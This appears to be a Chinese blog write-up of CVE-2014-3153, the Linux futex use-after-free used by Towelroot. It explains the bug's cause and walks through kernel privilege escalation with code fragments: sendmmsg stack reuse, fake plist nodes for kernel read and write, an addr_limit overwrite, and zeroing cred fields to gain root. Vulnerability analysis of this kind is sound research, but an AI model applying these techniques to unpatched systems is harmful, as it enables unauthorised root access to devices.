简介
漏洞是14年5月份爆,属于linux内核漏洞,影响范围非常广,包括linux系统(内核版本3.14.5之前)和andorid系统(系统版本4.4之前)。受影响的系统可能被直接DOS,精心设计可以获取root权限,如安卓root工具towel。
该漏洞主要产生于内核的 Futex系统调用,漏洞利用了 futexrequeue,futexlockpi,futexwaitrequeuepi三个函数存在的两个漏洞,通过巧妙的组合这三个系 统调用,攻击者可以造成futex变量有等待者,却没有拥有者,即所谓的野指针,通过函数栈填充,可以修改栈上的等待者rt_mutex中的数据,控制内核等待队列节点,通过插入节点的方式读写内核数据,达到提权目的。
这个漏洞网上分析文章比较多,详见参考文章,这里只记录自己在分析过程中踩过的坑和几个漏洞利用的技术点。
漏洞成因
漏洞主要利用的三个函数futexrequeue,futexlockpi,futexwaitrequeuepi,简单说明,详细自行google。
// 加锁的函数,在uaddr1上等待
futex_lock_pi (uaddr)
//Wait on uaddr1 and take uaddr2 线程阻塞在uaddr1上,然后等待futex_requeue的唤醒,唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_wait_requeue_pi(uaddr1, uaddr2)
//Requeue waiters from uaddr1 to uaddr2 唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生
futex_requeue(uaddr1, uaddr2)
uaddr在内核中会对应一个"等待队列"(其实是一个全局的队列),每个挂起的进程在等待队列中对应一个futex_q结构:
struct futex_q {
struct plist_node list; // 链入等待队列
struct task_struct *task; // 挂起的进程本身
spinlock_t *lock_ptr; // 保存等待队列的锁,便于操作
union futex_key key; // 唯一标识uaddr的key值
struct futex_pi_state *pi_state; // 进程正在等待的锁
struct rt_mutex_waiter *rt_waiter; // 进程对应的rt_waiter
union futex_key *requeue_pi_key; // 等待被requeue的key
u32 bitset; // futex_XXX_bitset时使用
};
漏洞触发流程图:
1.线程线程A调用futexlockpi(B)获取锁B,
2.线程B调用futexwaitrequeuepi(A, B)阻塞在A上等待futexrequeue唤醒,
3.线程A调用futexrequeue(A, B)去唤醒B,但是B已经被锁,所以无法唤醒线程B,并进入内核态在锁B的任务队列中生成了一个rtwaiter节点
4.线程A将B置0重新调用futexrequeue(B, B),此时成功获得锁B并返回,分支走向支会走向 requeuepiwakefutex,尝试唤醒等待的线程。
static inline
void requeue_pi_wake_futex(struct futex_q *q, union futex_key *key,
struct futex_hash_bucket *hb)
{
get_futex_key_refs(key);
q->key = *key;
__unqueue_futex(q);
WARN_ON(!q->rt_waiter);
q->rt_waiter = NULL;
q->lock_ptr = &hb->lock;
wake_up_state(q->task, TASK_NORMAL);
}
注意,这里线程B的futexq.rtwaiter被置NULL了。
5.线程B被唤醒,futexwaitrequeue_pi(A, B)执行成功。
static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
u32 val, ktime_t *abs_time, u32 bitset,
u32 __user *uaddr2)
{
struct hrtimer_sleeper timeout, *to = NULL;
struct rt_mutex_waiter rt_waiter;
struct rt_mutex *pi_mutex = NULL;
...
/* Check if the requeue code acquired the second futex for us. */
if (!q.rt_waiter) {
/*
* Got the lock. We might not be the anticipated owner if we
* did a lock-steal - fix up the PI-state in that case.
*/
if (q.pi_state && (q.pi_state->owner != current)) {
spin_lock(q.lock_ptr);
ret = fixup_pi_state_owner(uaddr2, &q, current);
spin_unlock(q.lock_ptr);
}
} else {
/*
* We have been woken up by futex_unlock_pi(), a timeout, or a
* signal. futex_unlock_pi() will not destroy the lock_ptr nor
* the pi_state.
*/
WARN_ON(!&q.pi_state);
pi_mutex = &q.pi_state->pi_mutex;
ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
debug_rt_mutex_free_waiter(&rt_waiter);
...
}
在futexwaitrequeuepi函数中将会走后边的第一个分支,导致rtwaiter没有从q.pistate->pimutex摘除,从而导致了UAF。
漏洞利用
详细的漏洞利用过程网上的一些文章已经分析的很清楚了,这里只记录一些技术点。
修改内核数据
修改rt_waiter内容时候用的方法是栈复用,比如A申请了一个0x10大小的栈stack,A用完后stack的内容并不会在函数返回时清空,如果此时B再申请同样一个小小的栈,就会复用A申请的栈空间,利用相同的原理可以复用链表,详细的例子可参考其他分析文章。
在利用代码中,sendmmsg() API构造内核消息对象B,只要消息大小加上消息头的大小等于rtwaiter的大小, 那么这个消息很可能会重用rtwaiter占据过的内存。
其中sendmmsg() 函数栈上数据与rtwaiter的重叠部分为msgvec.msgname的部分内容和数据是iovstack(*(msgvec.msg_iov))的部分内容,所以填充这些地方的数据即可。
注意,当目标接受到数据后这个函数会立刻返回,利用代码中通过创建一个线程连接到本地端口,从该端口中接受数据,但是不执行读数据操作,形似:
bind()
listen()
while (1) {
s = accept();
log("i have a client like hookers");
}
就像将该函数hook掉一样,这个sendmmsg()函数将保存发送状态而不是立刻返回,从而保证数据能保留在内核栈中。
读写内核地址
读内核地址比较容易,通过控制进程优先级向fakenode节点插入前置节点,那么fakenode.node_list.prev即为插入节点的内核地址。
写内核地址稍微绕一点,通过控制进程优先级向两个节点中插入新节点,如下图所示:
优先级从右到左依次减小,比如分别取33,34,35,往中间插入优先级为34的新节点时,内核会先遍历这个链表,并获取优先级,内核遍历到fakenode节点,发现优先级为35,决定往fakenode节点前插入34,这个过程是
fake_node.prev.next = new_node;
new_node.prev = fake_node.prev;
fake_node.prev = new_node;
new_node.next = fake_node;
修改fakenode.prev即33的next指针内容为新节点地址,即写入了一个内核地址,所以可以通过修改fakenode.prev的值来写入任意地址。
提权
提权是通过修改自身线程的权限信息来达到修改权限的目的,但是要修改这些值就必须有读写权限。
这里有个threadinfo概念,每个线程都有一个线程栈,在栈的最底端存放这threadinfo结构体
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
其中addr_limit的值即用户可访问的最大内存地址,将这个值改为0xffffffff即可访问任何内核空间,从而能够修改权限。
如何或得这个地址?先来看下如何获取thread_info的地址。
static inline struct thread_info *current_thread_info(void) {
return (struct thread_info *)
(current_stack_pointer & ~(THREAD_SIZE - 1));
}
THREADSIZE为8192,因此threadinfo = $sp & 0xffffe000。 threadinfo = 栈地址 & 0xffffe000,所以& addrlimit = * thread_info + 8
然后通过上边写内核的方法可以改写addrlimit的值,但是有一个问题是,这个改写的值是rtwaiter的地址,而这个地址又是不可控的,所以造成的结果是改的这个值比原来的还小。
利用代码用了一个巧妙的方法,通过不断生成新的rtwaiter,并判断新的rtwaiter的值是否比要改线程的threadinfo地址大,如果大就能保证写进去的值比原来addrlimit值大,这样线程就有了访问自身addrlimit的能力,然后自己将addrlimit改为0xffffffff,伪代码如下:
rt_waiter_A = create_mew_rt_waiter();
thread_info_base_A = rt_waiter_A & 0xffffe000;
unsigned long * thread_A_addr_limit = & thread_info_base_A->addr_limit;
while(1) {
rt_waiter_B = create_mew_rt_waiter();
if (rt_waiter_B > rt_waiter_A) {
// write rt_waiter_B to thread_info_base_A->addr_limit
thread_info_base_A->addr_limit = rt_waiter_B;
break;
}
}
// thread A could write addr_limit
thread_info_base_A->addr_limit = 0xffffffff;
最后在该线程中通过修改线程的threadinfo.taskstruct -> cred -> secutiry进行提权,修改内容如下。
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;
判断cpu进入内核
当系统调用syscall时,/proc/PID/task/TID/status
中voluntaryctxtswitches会增加
在Linux中可以通过/proc看出cpu切入/切出次数,
比如 PID = 27288,用cat 命令搞一下:
cat /proc/27288/status
...
voluntary_ctxt_switches: 9950
nonvoluntary_ctxt_switches: 17104
...
这里的9950和17104分别就是切入/切出 CPU的次数。 除了status之外,还可以看/proc/27288/schedstat 字段:
cat /proc/27288/schedstat
1119480311 724745506 27054
此处 27054 就是上面两个数值的和,代表切入切出总数值。
伪终端
通过创建伪终端读数据,使线程阻塞,在修改addr_limit的过程中就是通过这种方法进行等待修改。
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm); // 允许对伪终端从设备的访问
slavename = ptsname(HACKS_fdm); // 函数用于在给定主伪终端设备的文件描述符时,找到从伪终端设备的路径名
open(slavename, O_RDWR);
...
read(HACKS_fdm, readbuf, sizeof readbuf);
伪造节点
利用代码中setup_exploit方法生成的两个可控节点方法:
static inline setup_exploit(unsigned long mem) {
*((unsigned long *) (mem - 0x04)) = 0x81; // prio = 129-120 = 9
*((unsigned long *) (mem + 0x00)) = mem + 0x20; // rt_waiter9.prio_list.next = rt_waiter13
// + 0x04 = prio_list.prev
*((unsigned long *) (mem + 0x08)) = mem + 0x28; // rt_waiter9.node_list.next = rt_waiter13.node_list
// + 0x0c = node_list.prev
*((unsigned long *) (mem + 0x1c)) = 0x85; // prio = 133-120 = 13
// + 0x20 = prio_list.next
*((unsigned long *) (mem + 0x24)) = mem; // rt_waiter13.prio_list.prev = rt_waiter9
// + 0x28 = node_list.next
*((unsigned long *) (mem + 0x2c)) = mem + 8; // rt_waiter13.node_list.prev = rt_waiter9.node_list
}
这个是根据plistnode结构生成的两个节点,优先级分别为9和13,plistnode结构如下:
struct plist_node {
int prio; // 4
struct list_head prio_list; // 0x8
struct list_head node_list;
};
整个利用代码都是通过向这两个节点中插入来读写内核的,其中参数long mem指向的是prio=9的prio_list,mem-4处填写的是其优先级。
arm移植x86
x86和arm唯一区别就是threadinfo结构不同,x86的threadinfo结构如下:
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
int preempt_count; /* 0 => preemptable,
<0 => BUG */
unsigned long addr_limit;
/* ... */
};
所以稍作修改就能移植过去,代码参考https://github.com/lieanu/CVE2014-3153
总结
- 栈复用技巧(sendmmsg函数的使用)
- 利用链表达到任意地址写的技巧
- 修改addr_limit及cred技巧,利用技巧很通用,基本适合任何能够泄露内核地址的漏洞
- gdb内核调试
参考
Exploiting the Futex Bug and uncovering Towelroot cve2014-3153 漏洞之详细分析与利用 CVE-2014-3153笔记 The Futex Vulnerability
没有评论:
发表评论